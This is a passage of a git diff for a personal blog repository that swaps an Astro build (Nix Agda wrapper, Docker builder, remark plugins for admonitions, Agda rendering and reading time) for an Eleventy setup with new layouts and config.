|
||||||
|
}
|
11
content/projects/_index.md
Normal file
11
content/projects/_index.md
Normal file
|
@ -0,0 +1,11 @@
|
||||||
|
+++
|
||||||
|
title = "Projects"
|
||||||
|
type = "projects"
|
||||||
|
layout = "single"
|
||||||
|
+++
|
||||||
|
|
||||||
|
# Projects
|
||||||
|
|
||||||
|
This is a curated list of projects I do outside of work for fun. Find the full list on my [Gitea profile][1].
|
||||||
|
|
||||||
|
[1]: https://git.mzhang.io/michael
|
26
eleventy.config.js
Normal file
26
eleventy.config.js
Normal file
|
@ -0,0 +1,26 @@
|
||||||
|
const util = require("util");
|
||||||
|
|
||||||
|
const inclusiveLangPlugin = require("@11ty/eleventy-plugin-inclusive-language");
|
||||||
|
const directoryOutputPlugin = require("@11ty/eleventy-plugin-directory-output");
|
||||||
|
const eleventySass = require("eleventy-sass");
|
||||||
|
|
||||||
|
module.exports = (config) => {
|
||||||
|
config.setQuietMode(true);
|
||||||
|
config.addPlugin(directoryOutputPlugin);
|
||||||
|
config.addPlugin(eleventySass);
|
||||||
|
config.addPlugin(inclusiveLangPlugin, {
|
||||||
|
words:
|
||||||
|
"simply,obviously,basically,of course,clearly,everyone knows,however",
|
||||||
|
});
|
||||||
|
|
||||||
|
config.addFilter("debug", (content) => `<pre>${util.inspect(content)}</pre>`);
|
||||||
|
|
||||||
|
return {
|
||||||
|
dir: {
|
||||||
|
input: "content",
|
||||||
|
includes: "../includes",
|
||||||
|
layouts: "../layouts",
|
||||||
|
output: "_site",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
};
|
72
flake.lock
72
flake.lock
|
@ -1,54 +1,15 @@
|
||||||
{
|
{
|
||||||
"nodes": {
|
"nodes": {
|
||||||
"agda": {
|
|
||||||
"inputs": {
|
|
||||||
"flake-parts": "flake-parts",
|
|
||||||
"nixpkgs": [
|
|
||||||
"nixpkgs"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"locked": {
|
|
||||||
"lastModified": 1729253305,
|
|
||||||
"narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
|
|
||||||
"owner": "agda",
|
|
||||||
"repo": "agda",
|
|
||||||
"rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
"original": {
|
|
||||||
"owner": "agda",
|
|
||||||
"repo": "agda",
|
|
||||||
"type": "github"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"flake-parts": {
|
|
||||||
"inputs": {
|
|
||||||
"nixpkgs-lib": "nixpkgs-lib"
|
|
||||||
},
|
|
||||||
"locked": {
|
|
||||||
"lastModified": 1701473968,
|
|
||||||
"narHash": "sha256-YcVE5emp1qQ8ieHUnxt1wCZCC3ZfAS+SRRWZ2TMda7E=",
|
|
||||||
"owner": "hercules-ci",
|
|
||||||
"repo": "flake-parts",
|
|
||||||
"rev": "34fed993f1674c8d06d58b37ce1e0fe5eebcb9f5",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
"original": {
|
|
||||||
"owner": "hercules-ci",
|
|
||||||
"repo": "flake-parts",
|
|
||||||
"type": "github"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"flake-utils": {
|
"flake-utils": {
|
||||||
"inputs": {
|
"inputs": {
|
||||||
"systems": "systems"
|
"systems": "systems"
|
||||||
},
|
},
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1726560853,
|
"lastModified": 1681202837,
|
||||||
"narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
|
"narHash": "sha256-H+Rh19JDwRtpVPAWp64F+rlEtxUWBAQW28eAi3SRSzg=",
|
||||||
"owner": "numtide",
|
"owner": "numtide",
|
||||||
"repo": "flake-utils",
|
"repo": "flake-utils",
|
||||||
"rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
|
"rev": "cfacdce06f30d2b68473a46042957675eebb3401",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
|
@ -58,11 +19,11 @@
|
||||||
},
|
},
|
||||||
"nixpkgs": {
|
"nixpkgs": {
|
||||||
"locked": {
|
"locked": {
|
||||||
"lastModified": 1729265718,
|
"lastModified": 1663551060,
|
||||||
"narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
|
"narHash": "sha256-e2SR4cVx9p7aW/XnVsGsWZBplApA9ZJUjc0fejJhnYo=",
|
||||||
"owner": "NixOS",
|
"owner": "nixos",
|
||||||
"repo": "nixpkgs",
|
"repo": "nixpkgs",
|
||||||
"rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
|
"rev": "8a5b9ee7b7a2b38267c9481f5c629c015108ab0d",
|
||||||
"type": "github"
|
"type": "github"
|
||||||
},
|
},
|
||||||
"original": {
|
"original": {
|
||||||
|
@ -70,27 +31,8 @@
|
||||||
"type": "indirect"
|
"type": "indirect"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"nixpkgs-lib": {
|
|
||||||
"locked": {
|
|
||||||
"dir": "lib",
|
|
||||||
"lastModified": 1701253981,
|
|
||||||
"narHash": "sha256-ztaDIyZ7HrTAfEEUt9AtTDNoCYxUdSd6NrRHaYOIxtk=",
|
|
||||||
"owner": "NixOS",
|
|
||||||
"repo": "nixpkgs",
|
|
||||||
"rev": "e92039b55bcd58469325ded85d4f58dd5a4eaf58",
|
|
||||||
"type": "github"
|
|
||||||
},
|
|
||||||
"original": {
|
|
||||||
"dir": "lib",
|
|
||||||
"owner": "NixOS",
|
|
||||||
"ref": "nixos-unstable",
|
|
||||||
"repo": "nixpkgs",
|
|
||||||
"type": "github"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"root": {
|
"root": {
|
||||||
"inputs": {
|
"inputs": {
|
||||||
"agda": "agda",
|
|
||||||
"flake-utils": "flake-utils",
|
"flake-utils": "flake-utils",
|
||||||
"nixpkgs": "nixpkgs"
|
"nixpkgs": "nixpkgs"
|
||||||
}
|
}
|
||||||
|
|
33
flake.nix
33
flake.nix
|
@ -1,31 +1,8 @@
|
||||||
{
|
{
|
||||||
inputs.agda.url = "github:agda/agda";
|
description = "A very basic flake";
|
||||||
inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
|
|
||||||
outputs = { self, nixpkgs, flake-utils, agda, }:
|
outputs = { self, nixpkgs, flake-utils }:
|
||||||
flake-utils.lib.eachDefaultSystem (system:
|
flake-utils.lib.eachDefaultSystem (system:
|
||||||
let
|
let pkgs = import nixpkgs { inherit system; };
|
||||||
pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
|
in { devShell = pkgs.mkShell { packages = with pkgs; [ hugo ]; }; });
|
||||||
agda-pkg = agda.packages.x86_64-linux.default;
|
|
||||||
flakePkgs = rec {
|
|
||||||
agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
|
|
||||||
docker-builder =
|
|
||||||
pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
|
|
||||||
};
|
|
||||||
in {
|
|
||||||
packages = flake-utils.lib.flattenTree flakePkgs;
|
|
||||||
devShell = pkgs.mkShell {
|
|
||||||
ASTRO_TELEMETRY_DISABLED = 1;
|
|
||||||
|
|
||||||
packages = with pkgs;
|
|
||||||
with flakePkgs; [
|
|
||||||
bun
|
|
||||||
nixfmt-rfc-style
|
|
||||||
nix-tree
|
|
||||||
shellcheck
|
|
||||||
|
|
||||||
nodejs_20
|
|
||||||
corepack
|
|
||||||
];
|
|
||||||
};
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,47 +0,0 @@
|
||||||
{
|
|
||||||
"$schema": "https://frontmatter.codes/frontmatter.schema.json",
|
|
||||||
"frontMatter.framework.id": "astro",
|
|
||||||
"frontMatter.preview.host": "http://localhost:4321",
|
|
||||||
"frontMatter.content.publicFolder": "public",
|
|
||||||
"frontMatter.content.pageFolders": [
|
|
||||||
{
|
|
||||||
"title": "posts",
|
|
||||||
"path": "[[workspace]]/src/content/posts"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"frontMatter.taxonomy.contentTypes": [
|
|
||||||
{
|
|
||||||
"name": "default",
|
|
||||||
"pageBundle": false,
|
|
||||||
"previewPath": "",
|
|
||||||
"filePrefix": null,
|
|
||||||
"clearEmpty": true,
|
|
||||||
"fields": [
|
|
||||||
{
|
|
||||||
"title": "Title",
|
|
||||||
"name": "title",
|
|
||||||
"type": "string",
|
|
||||||
"single": true
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"title": "Description",
|
|
||||||
"name": "description",
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"title": "Publishing date",
|
|
||||||
"name": "date",
|
|
||||||
"type": "datetime",
|
|
||||||
"default": "{{now}}",
|
|
||||||
"isPublishDate": true
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"title": "Content preview",
|
|
||||||
"name": "heroImage",
|
|
||||||
"type": "image",
|
|
||||||
"isPreviewImage": true
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
38
layouts/base.html
Normal file
38
layouts/base.html
Normal file
|
@ -0,0 +1,38 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Michael Zhang</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/main.css" />
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="flex-wrapper">
|
||||||
|
<div class="sep"></div>
|
||||||
|
|
||||||
|
<div class="container"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p>
|
||||||
|
Blog code licensed under
|
||||||
|
<a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
|
||||||
|
>[GPL-3.0]</a
|
||||||
|
>. Post contents licensed under
|
||||||
|
<a href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt"
|
||||||
|
>[CC BY-SA 4.0]</a
|
||||||
|
>.
|
||||||
|
<br />
|
||||||
|
Written by Michael Zhang.
|
||||||
|
<a
|
||||||
|
href="https://git.mzhang.io/michael/blog"
|
||||||
|
class="colorlink"
|
||||||
|
target="_blank"
|
||||||
|
>[Source]</a
|
||||||
|
>.
|
||||||
|
</p>
|
||||||
|
</footer>
|
||||||
|
</body>
|
||||||
|
</html>
|
5
layouts/post.html
Normal file
5
layouts/post.html
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
---
|
||||||
|
layout: base
|
||||||
|
---
|
||||||
|
|
||||||
|
<h1>{{ title }}</h1>
|
|
@ -1,23 +0,0 @@
|
||||||
{ agda-pkg, runCommand, writeShellScriptBin, writeTextFile, agdaPackages }:
|
|
||||||
|
|
||||||
let
|
|
||||||
libraryFile =
|
|
||||||
with agdaPackages;
|
|
||||||
writeTextFile {
|
|
||||||
name = "agda-libraries";
|
|
||||||
text = ''
|
|
||||||
${agdaPackages.cubical.src}/cubical.agda-lib
|
|
||||||
${agdaPackages.standard-library.src}/standard-library.agda-lib
|
|
||||||
'';
|
|
||||||
};
|
|
||||||
|
|
||||||
# Add an extra layer of indirection here to prevent all of GHC from being pulled in
|
|
||||||
wtf = runCommand "agda-bin" { } ''
|
|
||||||
cp ${agda-pkg}/bin/agda $out
|
|
||||||
'';
|
|
||||||
in
|
|
||||||
|
|
||||||
writeShellScriptBin "agda" ''
|
|
||||||
set -euo pipefail
|
|
||||||
exec ${wtf} --library-file=${libraryFile} $@
|
|
||||||
''
|
|
|
@ -1,47 +0,0 @@
|
||||||
{ dockerTools
|
|
||||||
, agda-bin
|
|
||||||
, bash
|
|
||||||
, corepack
|
|
||||||
, coreutils
|
|
||||||
, gitMinimal
|
|
||||||
, gnused
|
|
||||||
, minio-client
|
|
||||||
, nodejs_20
|
|
||||||
, openssh
|
|
||||||
, pkgsLinux
|
|
||||||
, rsync
|
|
||||||
}:
|
|
||||||
|
|
||||||
dockerTools.buildLayeredImage {
|
|
||||||
name = "blog-docker-builder";
|
|
||||||
|
|
||||||
contents = with dockerTools; [
|
|
||||||
agda-bin
|
|
||||||
bash
|
|
||||||
caCertificates
|
|
||||||
corepack
|
|
||||||
coreutils
|
|
||||||
fakeNss
|
|
||||||
gitMinimal
|
|
||||||
gnused
|
|
||||||
minio-client
|
|
||||||
nodejs_20
|
|
||||||
openssh
|
|
||||||
rsync
|
|
||||||
usrBinEnv
|
|
||||||
];
|
|
||||||
|
|
||||||
# fakeRootCommands = ''
|
|
||||||
# #!${pkgsLinux.runtimeShell}
|
|
||||||
# ${pkgsLinux.dockerTools.shadowSetup}
|
|
||||||
# groupadd -r builder
|
|
||||||
# useradd -r -g builder builder
|
|
||||||
# '';
|
|
||||||
}
|
|
||||||
|
|
||||||
# copyToRoot = with dockerTools; buildEnv {
|
|
||||||
# name = "blog-docker-builder-image-root";
|
|
||||||
# paths = [
|
|
||||||
# ];
|
|
||||||
# };
|
|
||||||
|
|
2440
package-lock.json
generated
Normal file
2440
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load diff
59
package.json
59
package.json
|
@ -1,57 +1,10 @@
|
||||||
{
|
{
|
||||||
"name": "blog",
|
|
||||||
"type": "module",
|
|
||||||
"version": "0.0.1",
|
|
||||||
"packageManager": "pnpm@9.4.0+sha256.b6fd0bfda555e7e584ad7e56b30c68b01d5a04f9ee93989f4b93ca8473c49c74",
|
|
||||||
"scripts": {
|
|
||||||
"dev": "astro dev",
|
|
||||||
"start": "astro dev",
|
|
||||||
"build": "astro build",
|
|
||||||
"preview": "astro preview",
|
|
||||||
"astro": "astro",
|
|
||||||
"format": "prettier -w ."
|
|
||||||
},
|
|
||||||
"dependencies": {
|
|
||||||
"@astrojs/markdoc": "^0.11.1",
|
|
||||||
"@astrojs/markdown-remark": "^5.1.1",
|
|
||||||
"@astrojs/mdx": "^1.1.5",
|
|
||||||
"@astrojs/rss": "^3.0.0",
|
|
||||||
"@astrojs/sitemap": "^3.1.6",
|
|
||||||
"@justfork/rehype-autolink-headings": "^5.1.1",
|
|
||||||
"astro": "^3.6.5",
|
|
||||||
"astro-imagetools": "^0.9.0",
|
|
||||||
"astro-remark-description": "^1.1.2",
|
|
||||||
"classnames": "^2.5.1",
|
|
||||||
"fork-awesome": "^1.2.0",
|
|
||||||
"katex": "^0.16.10",
|
|
||||||
"lodash-es": "^4.17.21",
|
|
||||||
"mdast-util-to-string": "^4.0.0",
|
|
||||||
"nanoid": "^4.0.2",
|
|
||||||
"reading-time": "^1.5.0",
|
|
||||||
"rehype-accessible-emojis": "^0.3.2",
|
|
||||||
"rehype-katex": "^6.0.3",
|
|
||||||
"remark-emoji": "^4.0.1",
|
|
||||||
"remark-github-beta-blockquote-admonitions": "^2.2.1",
|
|
||||||
"remark-math": "^5.1.1",
|
|
||||||
"remark-parse": "^10.0.2",
|
|
||||||
"sanitize-html": "^2.13.1",
|
|
||||||
"sharp": "^0.33.4"
|
|
||||||
},
|
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@biomejs/biome": "^1.8.2",
|
"@11ty/eleventy": "^2.0.1",
|
||||||
"@types/lodash-es": "^4.17.12",
|
"@11ty/eleventy-plugin-directory-output": "^1.0.1",
|
||||||
"@types/sanitize-html": "^2.13.0",
|
"@11ty/eleventy-plugin-inclusive-language": "^1.0.3",
|
||||||
"date-fns": "^2.30.0",
|
"eleventy-sass": "^2.2.1",
|
||||||
"hast-util-from-html": "^2.0.1",
|
"sass": "^1.62.1",
|
||||||
"hast-util-to-html": "^9.0.1",
|
"typescript": "^5.0.4"
|
||||||
"mdast": "^3.0.0",
|
|
||||||
"mdast-util-from-markdown": "^2.0.1",
|
|
||||||
"prettier": "^3.3.2",
|
|
||||||
"prettier-plugin-astro": "^0.12.3",
|
|
||||||
"rehype-slug": "^6.0.0",
|
|
||||||
"sass": "^1.77.6",
|
|
||||||
"shiki": "^0.14.7",
|
|
||||||
"unified": "^11.0.5",
|
|
||||||
"unist-util-visit": "^5.0.0"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,155 +0,0 @@
|
||||||
// https://github.com/myl7/remark-github-beta-blockquote-admonitions
|
|
||||||
// License: Apache-2.0
|
|
||||||
|
|
||||||
import { visit } from "unist-util-visit";
|
|
||||||
import type { Data } from "unist";
|
|
||||||
import type { BuildVisitor } from "unist-util-visit";
|
|
||||||
import type { Blockquote, Paragraph, Text } from "mdast";
|
|
||||||
import type { RemarkPlugin } from "@astrojs/markdown-remark";
|
|
||||||
import classNames from "classnames";
|
|
||||||
|
|
||||||
const remarkAdmonitions: RemarkPlugin =
|
|
||||||
(providedConfig?: Partial<Config>) => (tree) => {
|
|
||||||
visit(tree, handleNode({ ...defaultConfig, ...providedConfig }));
|
|
||||||
};
|
|
||||||
|
|
||||||
export default remarkAdmonitions;
|
|
||||||
|
|
||||||
const handleNode =
|
|
||||||
(config: Config): BuildVisitor =>
|
|
||||||
(node) => {
|
|
||||||
// Filter required elems
|
|
||||||
if (node.type !== "blockquote") return;
|
|
||||||
const blockquote = node as Blockquote;
|
|
||||||
|
|
||||||
if (blockquote.children[0]?.type !== "paragraph") return;
|
|
||||||
|
|
||||||
const paragraph = blockquote.children[0];
|
|
||||||
if (paragraph.children[0]?.type !== "text") return;
|
|
||||||
|
|
||||||
const text = paragraph.children[0];
|
|
||||||
|
|
||||||
// A link break after the title is explicitly required by GitHub
|
|
||||||
const titleEnd = text.value.indexOf("\n");
|
|
||||||
if (titleEnd < 0) return;
|
|
||||||
|
|
||||||
const textBody = text.value.substring(titleEnd + 1);
|
|
||||||
let title = text.value.substring(0, titleEnd);
|
|
||||||
// Handle whitespaces after the title.
|
|
||||||
// Whitespace characters are defined by GFM
|
|
||||||
const m = /[ \t\v\f\r]+$/.exec(title);
|
|
||||||
if (m && !config.titleKeepTrailingWhitespaces) {
|
|
||||||
title = title.substring(0, title.length - m[0].length);
|
|
||||||
}
|
|
||||||
if (!nameFilter(config.titleFilter)(title)) return;
|
|
||||||
const { displayTitle, checkedTitle } = config.titleTextMap(title);
|
|
||||||
|
|
||||||
// Update the text body
|
|
||||||
text.value = textBody;
|
|
||||||
|
|
||||||
// Insert the title element and add classes for the title
|
|
||||||
const paragraphTitleText: Text = { type: "text", value: displayTitle };
|
|
||||||
const paragraphTitle: Paragraph = {
|
|
||||||
type: "paragraph",
|
|
||||||
children: [paragraphTitleText],
|
|
||||||
data: config.dataMaps.title({
|
|
||||||
hProperties: {
|
|
||||||
className: classNameMap(config.classNameMaps.title)(checkedTitle),
|
|
||||||
},
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
blockquote.children.unshift(paragraphTitle);
|
|
||||||
|
|
||||||
// Add classes for the block
|
|
||||||
blockquote.data = config.dataMaps.block({
|
|
||||||
...blockquote.data,
|
|
||||||
hProperties: {
|
|
||||||
className: classNameMap(config.classNameMaps.block)(checkedTitle),
|
|
||||||
},
|
|
||||||
// The blockquote should be rendered as a div, which is explicitly required by GitHub
|
|
||||||
hName: "div",
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
const TITLE_PATTERN =
|
|
||||||
/\[\!admonition: (attention|caution|danger|error|hint|important|note|tip|warning)\]/i;
|
|
||||||
|
|
||||||
export const mkdocsConfig: Partial<Config> = {
|
|
||||||
classNameMaps: {
|
|
||||||
block: (title) => [
|
|
||||||
"admonition",
|
|
||||||
...(title.startsWith("admonition: ")
|
|
||||||
? title.substring("admonition: ".length)
|
|
||||||
: title
|
|
||||||
).split(" "),
|
|
||||||
],
|
|
||||||
title: classNames("admonition-title"),
|
|
||||||
},
|
|
||||||
|
|
||||||
titleFilter: (title) => Boolean(title.match(TITLE_PATTERN)),
|
|
||||||
|
|
||||||
titleTextMap: (title: string) => {
|
|
||||||
const match = title.match(TITLE_PATTERN);
|
|
||||||
const displayTitle = match?.[1] ?? "";
|
|
||||||
const checkedTitle = displayTitle;
|
|
||||||
return { displayTitle, checkedTitle };
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
export interface Config {
|
|
||||||
classNameMaps: {
|
|
||||||
block: ClassNameMap;
|
|
||||||
title: ClassNameMap;
|
|
||||||
};
|
|
||||||
titleFilter: NameFilter;
|
|
||||||
titleTextMap: (title: string) => {
|
|
||||||
displayTitle: string;
|
|
||||||
checkedTitle: string;
|
|
||||||
};
|
|
||||||
dataMaps: {
|
|
||||||
block: (data: Data) => Data;
|
|
||||||
title: (data: Data) => Data;
|
|
||||||
};
|
|
||||||
titleKeepTrailingWhitespaces: boolean;
|
|
||||||
legacyTitle: boolean;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const defaultConfig: Config = {
|
|
||||||
classNameMaps: {
|
|
||||||
block: "admonition",
|
|
||||||
title: "admonition-title",
|
|
||||||
},
|
|
||||||
|
|
||||||
titleFilter: ["[!NOTE]", "[!IMPORTANT]", "[!WARNING]"],
|
|
||||||
|
|
||||||
titleTextMap: (title) => ({
|
|
||||||
displayTitle: title.substring(2, title.length - 1),
|
|
||||||
checkedTitle: title.substring(2, title.length - 1),
|
|
||||||
}),
|
|
||||||
dataMaps: {
|
|
||||||
block: (data) => data,
|
|
||||||
title: (data) => data,
|
|
||||||
},
|
|
||||||
titleKeepTrailingWhitespaces: false,
|
|
||||||
legacyTitle: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
type ClassNames = string | string[];
|
|
||||||
type ClassNameMap = ClassNames | ((title: string) => ClassNames);
|
|
||||||
|
|
||||||
export function classNameMap(gen: ClassNameMap) {
|
|
||||||
return (title: string) => {
|
|
||||||
const classNames = typeof gen === "function" ? gen(title) : gen;
|
|
||||||
return typeof classNames === "object" ? classNames.join(" ") : classNames;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
type NameFilter = ((title: string) => boolean) | string[];
|
|
||||||
|
|
||||||
export function nameFilter(filter: NameFilter) {
|
|
||||||
return (title: string) => {
|
|
||||||
return typeof filter === "function"
|
|
||||||
? filter(title)
|
|
||||||
: filter.includes(title);
|
|
||||||
};
|
|
||||||
}
|
|
|
@ -1,174 +0,0 @@
|
||||||
import type { RootContent } from "hast";
|
|
||||||
import { fromMarkdown } from "mdast-util-from-markdown";
|
|
||||||
import { fromHtml } from "hast-util-from-html";
|
|
||||||
import { toHtml } from "hast-util-to-html";
|
|
||||||
|
|
||||||
import { spawnSync } from "node:child_process";
|
|
||||||
import {
|
|
||||||
mkdirSync,
|
|
||||||
mkdtempSync,
|
|
||||||
readFileSync,
|
|
||||||
existsSync,
|
|
||||||
readdirSync,
|
|
||||||
copyFileSync,
|
|
||||||
writeFileSync,
|
|
||||||
} from "node:fs";
|
|
||||||
import { tmpdir } from "node:os";
|
|
||||||
import { join, parse, resolve, basename } from "node:path";
|
|
||||||
import { visit } from "unist-util-visit";
|
|
||||||
import type { RemarkPlugin } from "@astrojs/markdown-remark";
|
|
||||||
|
|
||||||
interface Options {
|
|
||||||
base: string;
|
|
||||||
outDir: string;
|
|
||||||
publicDir: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
|
|
||||||
const destDir = join(publicDir, "generated", "agda");
|
|
||||||
mkdirSync(destDir, { recursive: true });
|
|
||||||
|
|
||||||
return (tree, { history }) => {
|
|
||||||
const path: string = history[history.length - 1]!;
|
|
||||||
if (!(path.endsWith(".lagda.md") || path.endsWith(".agda"))) return;
|
|
||||||
|
|
||||||
// console.log("AGDA:processing path", path);
|
|
||||||
|
|
||||||
const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
|
|
||||||
const agdaOutDir = join(tempDir, "output");
|
|
||||||
mkdirSync(agdaOutDir, { recursive: true });
|
|
||||||
|
|
||||||
const childOutput = spawnSync(
|
|
||||||
"agda",
|
|
||||||
[
|
|
||||||
"--html",
|
|
||||||
`--html-dir=${agdaOutDir}`,
|
|
||||||
"--highlight-occurrences",
|
|
||||||
"--html-highlight=code",
|
|
||||||
path,
|
|
||||||
],
|
|
||||||
{},
|
|
||||||
);
|
|
||||||
|
|
||||||
// Locate output file
|
|
||||||
const directory = readdirSync(agdaOutDir);
|
|
||||||
const outputFilename = directory.find((name) => name.endsWith(".md"));
|
|
||||||
|
|
||||||
if (childOutput.status !== 0 || outputFilename === undefined) {
|
|
||||||
throw new Error(
|
|
||||||
`Agda output:
|
|
||||||
|
|
||||||
Stdout:
|
|
||||||
${childOutput.stdout}
|
|
||||||
|
|
||||||
Stderr:
|
|
||||||
${childOutput.stderr}
|
|
||||||
`,
|
|
||||||
{
|
|
||||||
cause: childOutput.error,
|
|
||||||
},
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
const outputFile = join(agdaOutDir, outputFilename);
|
|
||||||
|
|
||||||
// // TODO: Handle child output
|
|
||||||
// console.error("--AGDA OUTPUT--");
|
|
||||||
// console.error(childOutput);
|
|
||||||
// console.error(childOutput.stdout?.toString());
|
|
||||||
// console.error(childOutput.stderr?.toString());
|
|
||||||
// console.error("--AGDA OUTPUT--");
|
|
||||||
|
|
||||||
const referencedFiles = new Set();
|
|
||||||
for (const file of readdirSync(agdaOutDir)) {
|
|
||||||
referencedFiles.add(file);
|
|
||||||
|
|
||||||
const fullPath = join(agdaOutDir, file);
|
|
||||||
const fullDestPath = join(destDir, file);
|
|
||||||
|
|
||||||
if (file.endsWith(".html")) {
|
|
||||||
const src = readFileSync(fullPath);
|
|
||||||
writeFileSync(
|
|
||||||
fullDestPath,
|
|
||||||
`
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8" />
|
|
||||||
<link rel="stylesheet" href="${base}generated/agda/Agda.css" />
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<pre class="Agda">
|
|
||||||
${src}
|
|
||||||
</pre>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
`,
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
copyFileSync(fullPath, fullDestPath);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const htmlname = basename(resolve(outputFile)).replace(/(\.lagda)?\.md/, ".html");
|
|
||||||
|
|
||||||
const doc = readFileSync(outputFile);
|
|
||||||
|
|
||||||
// This is the post-processed markdown with HTML code blocks replacing the Agda code blocks
|
|
||||||
const tree2 = fromMarkdown(doc);
|
|
||||||
|
|
||||||
const collectedCodeBlocks: RootContent[] = [];
|
|
||||||
visit(tree2, "html", (node) => {
|
|
||||||
const html = fromHtml(node.value, { fragment: true });
|
|
||||||
|
|
||||||
const firstChild: RootContent = html.children[0]!;
|
|
||||||
|
|
||||||
visit(html, "element", (node) => {
|
|
||||||
if (node.tagName !== "a") return;
|
|
||||||
|
|
||||||
if (node.properties.href) {
|
|
||||||
// Trim off end
|
|
||||||
const [href, hash, ...rest] = node.properties.href.split("#");
|
|
||||||
if (rest.length > 0) throw new Error("come look at this");
|
|
||||||
|
|
||||||
if (href === htmlname) {
|
|
||||||
node.properties.href = `#${hash}`;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (referencedFiles.has(href)) {
|
|
||||||
node.properties.href = `${base}generated/agda/${href}${hash ? `#${hash}` : ""}`;
|
|
||||||
node.properties.target = "_blank";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!firstChild?.properties?.className?.includes("Agda")) return;
|
|
||||||
|
|
||||||
const stringContents = toHtml(firstChild);
|
|
||||||
collectedCodeBlocks.push({
|
|
||||||
contents: stringContents,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
let idx = 0;
|
|
||||||
try {
|
|
||||||
visit(tree, "code", (node) => {
|
|
||||||
if (!(node.lang === null || node.lang === "agda")) return;
|
|
||||||
|
|
||||||
if (idx > collectedCodeBlocks.length) {
|
|
||||||
throw new Error("failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
node.type = "html";
|
|
||||||
node.value = collectedCodeBlocks[idx].contents;
|
|
||||||
idx += 1;
|
|
||||||
});
|
|
||||||
} catch (e) {
|
|
||||||
// TODO: Figure out a way to handle this correctly
|
|
||||||
// Possibly by diffing?
|
|
||||||
console.log("Mismatch in number of args. Perhaps there was an empty block?");
|
|
||||||
}
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
export default remarkAgda;
|
|
|
@ -1,16 +0,0 @@
|
||||||
import getReadingTime from "reading-time";
|
|
||||||
import { toString as mdastToString } from "mdast-util-to-string";
|
|
||||||
import type { RemarkPlugin } from "@astrojs/markdown-remark";
|
|
||||||
|
|
||||||
const remarkReadingTime: RemarkPlugin = () => {
|
|
||||||
return (tree, { data }) => {
|
|
||||||
const textOnPage = mdastToString(tree);
|
|
||||||
const readingTime = getReadingTime(textOnPage);
|
|
||||||
|
|
||||||
// readingTime.text will give us minutes read as a friendly string,
|
|
||||||
// i.e. "3 min read"
|
|
||||||
data.astro.frontmatter.minutesRead = readingTime.text;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
export default remarkReadingTime;
|
|
|
@ -1,42 +0,0 @@
|
||||||
import type { RemarkPlugin } from "@astrojs/markdown-remark";
|
|
||||||
import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
|
|
||||||
import { visit } from "unist-util-visit";
|
|
||||||
import { join } from "node:path";
|
|
||||||
import { spawnSync } from "node:child_process";
|
